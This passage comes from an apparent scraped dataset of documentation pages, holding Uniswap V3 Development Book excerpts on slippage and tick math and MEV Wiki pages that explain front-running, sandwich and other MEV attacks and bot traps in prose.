dividing one by the other. Since we only want to convert price to $\\sqrt{P}$, we can pass 1 as amount0 : const priceToSqrtP = ( price ) => encodeSqrtRatioX96 ( price , 1 ); To convert price to tick index, we can use TickMath.getTickAtSqrtRatio function. This is an implementation of the Solidity TickMath library in JavaScript: const priceToTick = ( price ) => TickMath . getTickAtSqrtRatio ( priceToSqrtP ( price )); So we can now convert prices typed in by users to ticks: const lowerTick = priceToTick ( lowerPrice ); const upperTick = priceToTick ( upperPrice ); Another thing we need to add here is slippage protection. For simplicity, I made it a hard coded value and set it to 0.5%. Heres how to use slippage tolerance to calculate minimal amounts: const slippage = 0.5 ; const amount0Desired = ethers . utils . parseEther ( amount0 ); const amount1Desired = ethers . utils . parseEther ( amount1 ); const amount0Min = amount0Desired . mul (( 100 - slippage ) * 100 ). div ( 10000 ); const amount1Min = amount1Desired . mul (( 100 - slippage ) * 100 ). div ( 10000 ); Slippage Tolerance in Swapping # Even though were the only user of the application and thus will never have problems with slippage during development, lets add an input to control slippage tolerance during swaps. When swapping, slippage protection is implemented via limiting pricea price we dont to go above or below during a swap. This means that we need to know this price before sending a swap transaction. However, we dont need to calculate it on the front end because Quoter contract does this for us: function quote (QuoteParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... } And were calling Quoter to calculate swap amounts. So, to calculate limiting price we need to take sqrtPriceX96After and subtract slippage tolerance from itthis will be the price we dont want to go below during a swap. const limitPrice = priceAfter.mul(( 100 - parseFloat(slippage)) * 100 ).div( 10000 ); And thats it! \\[ \\] User Interface Add Liquidity Dialog Slippage Tolerance in Swapping", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/categories/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Categories Categories Tags Categories Tags", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Docs", - "labels": [ - "Documentation" - ] - }, - { - "title": "Uniswap V3 Development Book #", - "html_url": "https://uniswapv3book.com/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Introduction Uniswap V3 Development Book This book is not for complete beginners However, this book is for blockchain beginners Useful links Questions? Where to start for a complete beginner? Uniswap Grants Program Uniswap V3 Development Book # Welcome to the world of decentralized finances and automated market makers! This book will be your guide in this mysterious and amusing world! Together, well build one of the most interesting and important applications, which serves as a pillar of todays decentralized finances Uniswap V3 ! This book will guide you through the development of a decentralized application, including: smart-contract development (in Solidity ); contracts testing and deployment (using Forge and Anvil from Foundry ); design and mathematics of a decentralized exchange; development of a front-end application for the exchange ( React and MetaMask ). This book is not for complete beginners # I expect you to be an experienced developer, who has ever programmed in any programming language. Itll also be helpful if you know the syntax of Solidity , the main programming language of this book. If not, its not a big problem: well learn a lot about Solidity and Ethereum Virtual Machine during our journey. However, this book is for blockchain beginners # If you only heard about blockchains and were interested but havent had a chance to dive deeper, this book is for you! Yes, for you personally! Youll learn how to develop for blockchains (specifically, Ethereum), how blockchains work, how to program and deploy smart contracts, and how to run and test them on your computer. Alright, lets get started! Useful links # This book is available at: https://uniswapv3book.com/ This book is hosted on GitHub: https://github.com/Jeiwan/uniswapv3-book All source codes are hosted in a separate repo: https://github.com/Jeiwan/uniswapv3-code If you think you can help Uniswap, they have a grants program . If youre interested in DeFi and blockchains, follow me on Twitter . Questions? # Each milestone has its own section in the GitHub Discussions . Dont hesitate to ask questions about anything thats not clear in the book! Where to start for a complete beginner? # This book will be easy for those who know something about constant-function market makers and Uniswap. If youre a complete beginner in decentralized exchanges, heres how Id recommend starting: Read my Uniswap V1 series. It covers the very basics of Uniswap, and the code is much more simpler. If you have some experience with Solidity, skip the code since its very basic and Uniswap V2 does it better. Programming DeFi: Uniswap. Part 1 Programming DeFi: Uniswap. Part 2 Programming DeFi: Uniswap. Part 3 Read my Uniswap V2 series. I dont go too deep into the math and underlying concepts here since theyre covered in the V1 series, but the code of V2 is really worth getting familiar withitll hopefully teach you a different way of thinking about smart contracts programming (its not how we usually write programs). Programming DeFi: Uniswap V2. Part 1 Programming DeFi: Uniswap V2. Part 2 Programming DeFi: Uniswap V2. Part 3 Programming DeFi: Uniswap V2. Part 4 If math is an issue, consider going through Algebra 1 and Algebra 2 courses on Khan Academy. The math of Uniswap is not hard, but it requires the skill of basic algebraic manipulations. Uniswap Grants Program # To write this book, I received a grant from Uniswap Foundation . Without the grant, I wouldnt probably have had enough motivation and patience to dig Uniswap into its deepest depths and to finish the book. The grant is also the main reason why the book is open-source and free for anyone. You can learn more about Uniswap Grants Program (and maybe apply!). Uniswap V3 Development Book This book is not for complete beginners However, this book is for blockchain beginners Useful links Questions? Where to start for a complete beginner? Uniswap Grants Program", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/introduction/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 0. Introduction", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_1/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 1. First Swap", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_2/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 2. Second Swap", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_3/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 3. Cross-tick Swaps", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_4/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 4. Multi-pool Swaps", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_5/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 5. Fees and Price Oracle", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/docs/milestone_6/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Milestone 6: NFT positions", - "labels": [ - "Documentation" - ] - }, - { - "title": "", - "html_url": "https://uniswapv3book.com/tags/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Tags Categories Tags Categories Tags", - "labels": [ - "Documentation" - ] - }, - { - "title": "Introduction", - "html_url": "https://www.mev.wiki/", - "body": "Introduction Welcome to the MEV Wiki. Introduction This is a public resource for learning about MEV (Maximal Extractable Value). We cover a range of topics including the key concepts, research on this the topic, different approaches to tackling this issue by various projects out there. Find any errors or wants to share your opinions? See how you can contribute here . What is MEV? Maximal (formerly \"miner\" in the context of Proof of Work) extractable value (MEV) refers to the maximum value that can be extracted from block production in excess of the standard block reward and gas fees by censoring and/or changing the order of transactions in a block. When someone sends a transaction in the blockchain, there is a delay between the time when the transaction is broadcasted to the network and when it is actually mined into a block. During this period, transactions sit in a pending transaction pool called the mempool where contents are visible to everyone. Arbitrageurs and miners can monitor the mempool and find opportunities to maximize their own profits e.g. by frontrunning transactions. If a front-runner is a miner, they can also reorder or even censor transactions. MEV income can also be shared with non miners & traders who participate in some profit sharing schemes within the category of FaaS/MEVA . Why does this matter ? MEV can harm users MEV is an invisible tax that miners can collect from users. MEV can destabilize Ethereum If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus by reordering or censoring transactions. Just how bad is the problem? You can use the Flashbots Dashboard to track Extracted MEV to better assess this worsening trend realtime. Snapshot of Extracted MEV on 28 Sep 2021 from Flashbots It is estimated that more than $727M of MEV has been extracted since 1st January 2020. Snapshot of Extracted MEV Split on 28 Sep 2021 from Flashbots The majority of extracted MEV tend to be from Arbitrage opportunities on various AMMs , with a large percentage of income going to searchers, bots & participants in profit sharing MEV infrastructures (eg. Flashbot's MEV-GETH) Another useful tracker for gas consumption of back-running bots: Dune Analytics provides very detailed statistics on this worsening MEV situation. Link: According to https://research.paradigm.xyz/MEV Next Resource List Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Attack Examples", - "html_url": "https://www.mev.wiki/attack-examples", - "body": "Attack Examples Some example of attacks. Front-running Sandwich attack Back-running Liquidations Time bandit attack Uncle bandit attack Previous Transaction Ordering Next Front-running Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Attempts to trick the bots", - "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots", - "body": "Attempts to trick the bots What are the ways some have come up with to trick bots? Salmonella Kattana Other attempts Previous Uncle bandit attack Next Salmonella Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Contributions", - "html_url": "https://www.mev.wiki/contributions", - "body": "Contributions BUIDL with MEV Wiki If you would like to contribute to this Wiki on MEV knowledge, please click the \"Edit on Github\" button on any page. Then create a Github pull request to suggest your changes. This wiki is maintained & sponsored by Automata Network . If you would like to become a contributor, please join Automata Discord Server . Previous Miscellaneous Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Miscellaneous", - "html_url": "https://www.mev.wiki/miscellaneous", - "body": "Miscellaneous What Happens when Ethereum moves to Proof-of-Stake? The move from PoW to PoS consensus means the Ethereum network becomes secured by a set validators, who stake their ETH and vote on consensus, as opposed to miners who run mining equipment to solve for the proof of work. This change of consensus is set to happen likely some time in 2021. Some have suggested that this means Miner Extractable Value will become Validator Extractable Value. This is an ongoing discussion and you can follow this here: Link: https://hackmd.io/@flashbots/ryuH4gn7d From Paradigm's piece \"On Staking Pools and Staking Derivatives\" - Staking pools and their staking derivatives are subject to similar market realities as MEV extraction, in the sense that their existence is inevitable. Institutional staking pools (e.g. exchanges) may have social and reputational constraints that prevent them from extracting certain forms of MEV. This allows smaller staking firms and decentralized pools without these constraints to provide higher returns for their stakers. This could turn the decentralization premium for using a decentralized staking pool into a decentralization discount. Link: https://research.paradigm.xyz/staking Other Academic Papers Tesseract Tesseract proposes a front-running resistant exchange relying on Intel SGX as a trusted execution environment. Link: https://eprint.iacr.org/2017/1153.pdf Calypso Enables a blockchain to hold and manage secrets on-chain with the convenient property that it is able to protect against front-running. Link: https://eprint.iacr.org/2018/209.pdf Previous B.Protocol Next Contributions Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Resource List", - "html_url": "https://www.mev.wiki/resource-list", - "body": "Resource List Links Name Type What Is Miner-Extractable Value (MEV)? Article Miners, Front-Running-as-a-Service Is Theft Article MEV and Me Article Ethereum is a Dark Forest Article Escaping the Dark Forest Article Ethereum Blockspace: Who Gets What and Why Article The fastest draw on the Blockchain: Ethereum Backrunning Article Security of Interoperability Presentation Gas Wars: Understanding Ethereum's Mempool & Miner Extractable Value Podcast Smart Contract Security - Incentives Beyond the Launch by Phil Daian (Devcon4) Video Enter the Dark Forest: the terrifying world of MEV and Flash bots Video Frontrunning in Decentralized Exchanges, Miner Extractable Value, and Consensus Instability Video How To Get Front-Run on Ethereum mainnet Video Flash Boys 2.0: Frontrunning, Transaction Reordering, and Consensus Instability in Decentralized Exchanges Research Paper Quantifying Blockchain Extractable Value: How dark is the forest? Research Paper High-Frequency Trading on Decentralized On-Chain Exchanges Research Paper Frontrunner Jones and the Raiders of the Dark Forest: An Empirical Study of Frontrunning on the Ethereum Blockchain Research Paper Previous Introduction Next Terms and Concepts Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Solutions", - "html_url": "https://www.mev.wiki/solutions", - "body": "Solutions Different approaches to tackling the MEV problem There are largely 2 schools of thought when it comes to approaching the MEV problem 1. Offense - MEV is here to stay so let's find a way to extract and democratize it. 2. Defense - MEV is bad so let's try to prevent it. Projects like Automata Network are in the Defense camp where the solution Conveyor ingests transactions and outputs transactions in a determined order. This creates a front-running-free zone that removes the chaos of transaction reordering. To further explain, we have put different approaches into 3 categories: Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEV Minimization Other solutions Previous Other attempts Next Front-running as a Service (FaaS) or MEV Auctions (MEVA) Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Terms and Concepts", - "html_url": "https://www.mev.wiki/terms-and-concepts", - "body": "Terms and Concepts Exploring the main concepts involving MEV. DeFi Automated Market Maker Arbitrage Lending Platforms Slippage Liquidations Priority Gas Auctions Transaction Ordering Previous Resource List Next DeFi Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Back-running", - "html_url": "https://www.mev.wiki/attack-examples/back-running", - "body": "Back-running What is back-running? Back-running occurs when a transaction sender wishes to have their transaction ordered immediately after some unconfirmed \"target transaction\". Example: A back-running bot that back-runs new token listings. Bot monitors the Ethereum mempool for new pairs being created on Uniswap. If it finds a new pair the bot places a buy transaction immediately behind the initial liquidity. The bot swoops in and buys as many tokens as possible (but not all of them as there needs to be an opportunity for others to buy tokens as well).The bot then waits for the price to go up as other traders buy the token from Uniswap and proceeds to sell back the tokens at a higher price. The key in this strategy is to be the first to buy tokens, but only after the token has been launched . In order to maximise their chances of being mined immediately after their target, a typical backrunner will send many identical transactions, with gas price identical to that of the target transaction, sometimes from different accounts. 1. https://amanusk.medium.com/the-fastest-draw-on-the-blockchain-bzrx-example-6bd19fabdbe1 Previous Sandwich attack Next Liquidations Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Front-running", - "html_url": "https://www.mev.wiki/attack-examples/front-running", - "body": "Front-running What is front-running? Front-running is the process by which an adversary observes transactions on the network layer and then acts upon this information by, for instance, issuing a competing transaction, with the hope that this transaction is mined before a victim transaction e.g. Transaction A is broadcasted with a higher gas price than an already pending transaction B so that A gets mined before B. Previous Attack Examples Next Sandwich attack Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Liquidations", - "html_url": "https://www.mev.wiki/attack-examples/liquidations", - "body": "Liquidations How are liquidations exploited? Back-running strategies also apply to liquidations whereby a transaction sender wishes to be the first to liquidate a loan right after a price oracle update (which will allow liquidation to be triggered). Fixed spread liquidation used by Compound, Aave, and dYdX allows a liquidator to purchase collateral at a fixed discount when repaying debt. Strategy 1 Strategy 2 A detects a liquidation opportunity at block B (i.e., after the execution of B). A then issues a liquidation transaction T, which is expected to be mined in the next block B +1. A attempts to destructively front-run other competing liquidators by setting high transaction fees for his liquidation transaction T. A observes a transaction T, which will create a liquidation opportunity (e.g., an oracle price update transaction which will render a collateralized debt liquidatable). A then back-runs T with a liquidation transaction TA to avoid the transaction fee bidding competition. The auction liquidation allows a liquidator to start an auction that lasts for a pre-configured period (e.g., 6 hours). Competing liquidators can engage and bid on the collateral price. Previous Back-running Next Time bandit attack Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Sandwich attack", - "html_url": "https://www.mev.wiki/attack-examples/sandwich-attack", - "body": "Sandwich attack What is a sandwich attack? Alice wants to buy a Token A on a Decentralised Exchange (DEX) that uses an automated market maker (AMM) model. An adversary which sees Alices transaction can create two of its own transactions which it inserts before and after Alices transaction (sandwiching it). The adversarys first transaction buys Token A, which pushes up the price for Alices transaction, and then the third transaction is the adversarys transaction to sell Token A (now at a higher price) at a profit. Previous Front-running Next Back-running Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Time bandit attack", - "html_url": "https://www.mev.wiki/attack-examples/time-bandit-attack", - "body": "Time bandit attack What is a time bandit attack? Time-bandit attacks are attacks where miners rewrite blockchain history to steal funds allocated by smart contracts in the past. If block rewards are small enough compared to MEV, it can be rational for miners to destabilize consensus. Imagine there are two miners, Sam and Dan, who are paid a $100 reward for each block they find. Sam has found 3 blocks, the first of which contained a $10,000 arbitrage opportunity. Now Dan has a choice: he can either mine on top of Sams 3 blocks, or he can attempt to re-mine the first block in order to take the Uniswap arbitrage for himself. The $10,000 is much more lucrative than the $100 block reward, and Dan is more rational than honest, so he decides to re-mine the first block. While Dans at it, since the current longest chain is height 3, he also re-mines the second and third blocks (and captures any MEV that was in those, too). After the re-organization, Dan owns the longest chain and he and Sam can progress from the third block. Previous Liquidations Next Uncle bandit attack Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Uncle bandit attack", - "html_url": "https://www.mev.wiki/attack-examples/uncle-bandit-attack", - "body": "Uncle bandit attack What is a uncle bandit attack? Bundles are groups of transactions Flashbots users submit. Those transactions must be included in the order submitted, and either the whole bundle is included, or nothing is. A bundle should never be split up. Robert Miller found that for a specific bundle, only the \"Buy\" part of a sandwich bundle submitted had landed on-chain, and right after that Buy someone else had inserted a 7 gas transaction that arbitraged it. How? In Ethereum occasionally two blocks are mined at roughly the same time, and only one block can be added to the chain. The other gets \"uncled\" or orphaned. Anyone can access transactions in an uncled block and some of the transactions may not have ended up in the non-uncled block. In a way some transactions end up in a sort of mempool like state: they are now public as a part of the uncled block and perhaps still valid too. A Sandwicher's bundle was included in an uncled block. An attacker saw this, grabbed only the Buy part of the Sandwich, threw away the rest, and added an arbitrage after. The attacker then submitted that as a bundle, which was then mined. Instead of seeing something late in time and rewinding it (time-bandit attack), the uncle bandit attack is when an attacker sees something in an uncle and brings it forward. This also shows that attacks extend beyond the mempool and into uncled blocks as well. https://twitter.com/bertcmiller/status/1382673587715342339?s=20 Previous Time bandit attack Next Attempts to trick the bots Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Kattana", - "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/kattana", - "body": "Kattana What is Kattana? The Kattana team included a trap for front-running bots during their token listing. There is a line in the code that disallows the front-runner from selling all tokens. So a front-runner paid 68 ETH to the miner and ended up with tokens he wasn't able to sell. Link: https://twitter.com/SiegeRhino2/status/1381035640989626369?s=20 Previous Salmonella Next Other attempts Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Other attempts", - "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/other-attempts-to-trick-the-bot", - "body": "Other attempts What are the other attempts to trick the bot? Link: https://twitter.com/bertcmiller/status/1381296074086830091?s=20 Background Instead of users paying transaction fees via gas prices, Flashbots users pay fees via a smart contract call which transfers ETH to a miner. Miners receive bundles of transaction from users and include the bundle that pays them the most. Users love this because they only pay for transactions that are included and they can determine the fee that they are going to pay. Sandwich bots watch the mempool for users buying on DEXes and sandwich them: running the price up before the victim buys and dumping after for a profit. Those 3 txs (buy, victim transaction, sell) make up a bundle. Note the Sandwich sell transaction contains the smart contract payment to the miner. It's important that payment goes to the miner on the sell transaction! That should only happen after the bot has secured profit from selling the tokens bought in their front-run. If that sell fails then there is no payment to the miner, and thus their bundle shouldn't be included To be even more secure, bots will simulate their transactions on local infrastructure. Bots won't send transactions unless the simulation goes well. Paying transaction fees only on the sell transaction of a sandwich should defend against this. No profit, no payment. Simulation vs Reality Some really smart people found weaknesses among all of these defenses. The first defense was that simulation was done with an ERC20 transfer function that checked to see if the block was a mined by Flashbots' miners, and if so it transfers way less out. Local simulations look fine but do not work in production. The second defense - Payment only on a sell transaction Again: Sandwich bots make miner payment conditional on profit. That was broken by making the ERC20 token pay the miner. Thus even with the Sandwich bot sell failing, the miner would still get paid! Here's what actually happened: Sandwich bot gets baited and buys 100 ETH of the poisonous token. Poisonous token owner's bait triggers custom transfer function, which pays 0.1 ETH to the miner Sandwich bot's sell doesn't work because of the poisonous token. As the sandwich bot submitted these three transactions in a bundle all three were included: the successful buy, the bait, and the failed sell. The poisonous ERC20's payment via the custom transfer was what incentivized a miner to include it! It is estimated that the first person to do this made about 100 ETH. You can see the poisoned ERC20 Uniswap transactions here . From Victim to Predator One of their victims was one the most successful Flashbots bot operators, and they immediately sprung into action. In a short period of time the victim turned into an apex predator. They launched a similar but slightly different ERC20 (YOLOchain), and ended up successfully baiting many more sandwichers. They made 300 ETH doing so! Previous Kattana Next Solutions Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Salmonella", - "html_url": "https://www.mev.wiki/attempts-to-trick-the-bots/salmonella", - "body": "Salmonella What is Salmonella? Salmonella intentionally exploits the generalised nature of front-running setups. The goal of sandwich trading is to exploit the slippage of unintended victims, so this strategy turns the tables on the exploiters. Its a regular ERC20 token, which behaves exactly like any other ERC20 token in normal use-cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount. Link: https://github.com/Defi-Cartel/salmonella Previous Attempts to trick the bots Next Kattana Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Front-running as a Service (FaaS) or MEV Auctions (MEVA)", - "html_url": "https://www.mev.wiki/solutions/faas-or-meva", - "body": "Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEVA and FaaS solutions. In a FaaS or MEVA system, MEV is extracted in a variety of ways such as miners auctioning off the right to front-run users. 'Centralizing MEV extraction is good because it quarantines a revenue stream that could otherwise drive centralization in other sectors.' Vitalik Buterin 'In this article, Im going to go deep into my personal arguments for why extracting MEV in cryptocurrencies isnt like theft, why it is a critical metric for network security in any distributed system secured by economic incentives (yes, including centralized ones), and what we should do about MEV in the next 3-5 years as a community.' Phil Daian, co-author of Flash Boys 2.0 See the various solutions: Private Transactions BackRunMe by bloXroute Flashbots mistX by alchemist KeeperDAO EDEN Network (ArcherSwap) Optimism MiningDAO BackBone Cabal Previous Solutions Next Private Transactions Last modified 2yr ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "MEV Minimization", - "html_url": "https://www.mev.wiki/solutions/mev-minimization", - 